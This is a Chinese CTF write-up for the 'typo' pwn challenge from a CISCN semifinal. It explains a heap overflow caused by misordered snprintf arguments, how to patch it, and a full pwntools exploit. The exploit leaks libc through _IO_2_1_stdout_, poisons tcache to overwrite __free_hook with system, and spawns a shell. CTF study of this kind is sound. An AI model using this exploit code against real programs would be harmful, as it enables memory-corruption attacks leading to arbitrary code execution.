当前位置: 首页 > news >正文

第19届CISCN_pwn_typo 小白初探


title: ciscn18届_半决赛
categories:

  • WP
    tags:
  • patch
  • WP
    date: 2026-03-07 16:50:09

typo

感谢i xpp师傅的指导

分析

漏洞点在edit

int snprintf(char *str, size_t size, const char *format, …);

1 目标缓冲区地址
2 最大写入长度
3 格式字符串
4 后面的格式化参数

在 glibc 中:

int snprintf(char *str, size_t size, const char *format, ...);

参数顺序是:

参数含义
str输出缓冲区
size最大写入长度
format格式化字符串
格式化参数

eg:snprintf(buf, 0x20, "%lu", value);

现在

snprintf( heap_list[index],(写入地址) "%lu", (巨大的size) new_size, (格式化字符串,完全可控) 8 );

所以就可以造成溢出

patch

把snprintf函数改回应有的样子

改后

注意所改变的寄存器在后面是否会用到

也可以直接把snprintf函数nop掉

思路

灭有show函数,先尝试IO_2_1_stdout泄露libc基址,还是先办法用unsorted bin覆盖其它bin链,借此来改fd,

并且snprintf函数存在溢出

改chunk1的fd那个伪size,让它之后可以覆盖其它的chunk,准备工作

add(0,0x60) add(1,0x60) add(2,0x60) add(3,0x100) add(4,0x100) add(5,0x200) add(6,0xe0) add(7,0xe0) # dbg() p.recvuntil('>> ') p.sendline('3') p.recvuntil(':') p.sendline('0') p.recvuntil(': ') pay = b'A' * 0x70+p64(0xFFFF) #要把chunk1的size用a覆盖,因为snprintf会被0截断 p.send(pay) p.recvuntil(': ') p.send('1')

之后就可以通过chunk1的伪size那条路改chunk2的size,保证它free之后进入unsorted bin

感觉先把chunk2 free掉爆破成功的概率会更高呢,有什么逻辑吗❓

edit(1,20,b"a"*0x60+p64(0x4a1))#chunk2_addr+size=chunkn_addr dele(2) dele(4) dele(3) add(2, 0x60) # dbg()

之后就可以改bin链里面的地址然后malloc到_IO_2_1_stdout_去输出flag了

这里我也有一个问题

_IO_2_1_stdout_的后三位是0x6a0,直接覆盖他为什么不可以呢,欢迎师傅们指教

如果使用这个的话

爆破爆不到

try: stdout_offset = (libc.sym['_IO_2_1_stdout_'] - 0x10) & 0x0FFF edit(1,20,b"\x00"*0xd8+p16(stdout_offset + 0x1000))#试试吧 # edit(1,20,b"\x00"*0xd8+b"\xa0\x56")#试试吧 add(8,0x100) add(9,0x100) pay = p64(0)+p64(0xFBAD1800) + p64(0) * 3 + p8(0) edit(9, len(pay), pay) leak = p.recvuntil(b'\x00' * 8, timeout=1) if not leak: raise Exception("Leak Failed") libc_base = u64(p.recv(8).ljust(8, b'\x00')) - 2017664 # 简单的 Libc 地址对齐校验 if libc_base & 0xfff != 0: raise Exception("Invalid Libc Base")

拿到flag之后就是正常打了,这里libc是2.31的,tcache不校验fd

dele(7) dele(6) pay = (0x4c0+0x48) * b'\x00' + p64(free - 0x10) edit(1, len(pay), pay) # ---------------------七阶段---------------------------------------------- add(6, 0xe0) add(7, 0xe0) edit(7, 0x40, p64(0) + p64(libc.sym['system'])) # ---------------------八阶段---------------------------------------------- pay = b"a"*(0x68)+ b'/bin/sh\x00' edit(1, len(pay), pay) dele(2) p.interactive() break # 退出循环 except Exception as e: p.close() continue # 尝试下一次

exp

from pwn import * import sys from LibcSearcher import * context(arch='amd64', os='linux', log_level='info') file_path = "./pwn" remote_host = "192.168.137.1" remote_port = 2121 context.terminal = [ "wt.exe", "--profile", "WSL GDB (Black)", "wsl.exe", "bash", "-ic" ] elf = ELF(file_path) libc = elf.libc # if 're' in sys.argv: # p = remote(remote_host, remote_port) # else: # p = process(file_path) # # gdb.attach(p, """ # # b *0x08048666 # # c # # """, api=True) def dbg(): gdb.attach(p) pause() def sla(a, b):p.sendlineafter(a, b) def ru(a):p.recvuntil(a) def sa(a, b):p.sendafter(a, b) def add(idx, size): p.recvuntil('>> ') p.sendline('1') p.recvuntil(':') p.sendline(str(idx)) p.recvuntil(': ') p.sendline(str(size)) def dele(idx): p.recvuntil(b'>> ') p.sendline('2') p.recvuntil(b':') p.sendline(str(idx)) def edit(idx, size, text): p.recvuntil('>> ') p.sendline('3') p.recvuntil(':') p.sendline(str(idx)) p.recvuntil(': ') p.sendline(str(size)) p.recvuntil(': ') p.send(text) for i in range(1, 101): log.info(f"第 {i} 次爆破尝试...") p=process("./pwn") add(0,0x60) add(1,0x60) add(2,0x60) add(3,0x100) add(4,0x100) add(5,0x200) add(6,0xe0) add(7,0xe0) # dbg() p.recvuntil('>> ') p.sendline('3') p.recvuntil(':') p.sendline('0') p.recvuntil(': ') pay = b'A' * 0x70 pay += p64(0xFFFF) p.send(pay) p.recvuntil(': ') p.send('1') edit(1,20,b"a"*0x60+p64(0x4a1))#chunk2_addr+size=chunkn_addr # dbg() dele(4) dele(3) dele(2) add(2, 0x60) # dbg() try: stdout_offset = (libc.sym['_IO_2_1_stdout_'] - 0x10) & 0x0FFF edit(1,20,b"\x00"*0xd8+p16(stdout_offset + 0x1000))#试试吧 add(8,0x100) add(9,0x100) pay = p64(0)+p64(0xFBAD1800) + p64(0) * 3 + p8(0) edit(9, len(pay), pay) leak = p.recvuntil(b'\x00' * 8, timeout=1) if not leak: raise Exception("Leak Failed") libc_base = u64(p.recv(8).ljust(8, b'\x00')) - 2017664 # 简单的 Libc 地址对齐校验 if libc_base & 0xfff != 0: raise Exception("Invalid Libc Base") libc.address = libc_base free= libc.sym['__free_hook'] log.success(f'Libc Base -> {hex(libc_base)}') dele(7) dele(6) pay = (0x4c0+0x48) * b'\x00' + p64(free - 0x10) edit(1, len(pay), pay) # ---------------------七阶段---------------------------------------------- add(6, 0xe0) add(7, 0xe0) edit(7, 0x40, p64(0) + p64(libc.sym['system'])) # ---------------------八阶段---------------------------------------------- pay = b"a"*(0x68)+ b'/bin/sh\x00' edit(1, len(pay), pay) dele(2) p.interactive() break # 退出循环 except Exception as e: p.close() continue # 尝试下一次
http://www.jsqmd.com/news/466130/

相关文章:

  • 自建docker镜像仓库
  • 一文搞懂 Spring 事务传播机制
  • 批量删除不连续固定行内容(含特定值)
  • 在Linux Mint上使用Qemu和Burp Suite进行Android模拟与流量拦截
  • TB 级 MySQL 5.7一主三从集群高可用实战记录:Orchestrator+ProxySQL方案
  • Webpack vs Vite
  • 从流量被动到AI引荐主动:2026年GEO实战架构与顶级优化
  • 2026年评价高的纯水加热器品牌推荐:PTC纯水加热器/在线纯水加热器/制绒清洗纯水加热器高口碑厂家推荐(评价高) - 行业平台推荐
  • 鼎跃安全丨太阳能航空障碍灯,守护电力高空设施与飞行安全
  • 2026年四川正规GEO优化公司TOP排名出炉,哪家能拔得头筹?
  • AI开发-python-langchain框架(3-4-pdf文件load()加载 )
  • 在python中的临时小知识
  • 免费ai绘画工具技术横评:功能、性能与架构分析
  • Windows 系统安全,从漏洞到后门那些事儿
  • 2026软考最全资料无偿分享
  • python数据容器快速回顾
  • 萧邦宝格丽百年灵|南京,上海,深圳等六大城市腕表养护维修指南,守护奢华质感与保值价值 - 时光修表匠
  • 不必焦虑,多数人没必要自己部署 OpenClaw
  • 海伯森发布高真空系列点光谱共焦传感头
  • 分析2026年实力强的美国投资移民企业,如何选择更明智 - 工业品网
  • Typecho 常见报错与修复大全(所有报错通用)
  • 前端中stylus是干嘛用的
  • 内外网文件交换系统产品推荐,Ftrans为企业跨网交互保驾护航
  • AutoGen学习以及案例实践
  • OpenClaw 完全上手指南:从安装到实战的 8 个步骤
  • 从技术专家到项目舵手:实战经验谈技术视角下的项目管理
  • 【JAVA基础02】—— 数据类型与变量全解析
  • 【LLM基础】2.Transformer原理
  • @ContentFontStyle注解颜色说明
  • 算法漏洞猎人:AI标注优化对象的专业剖析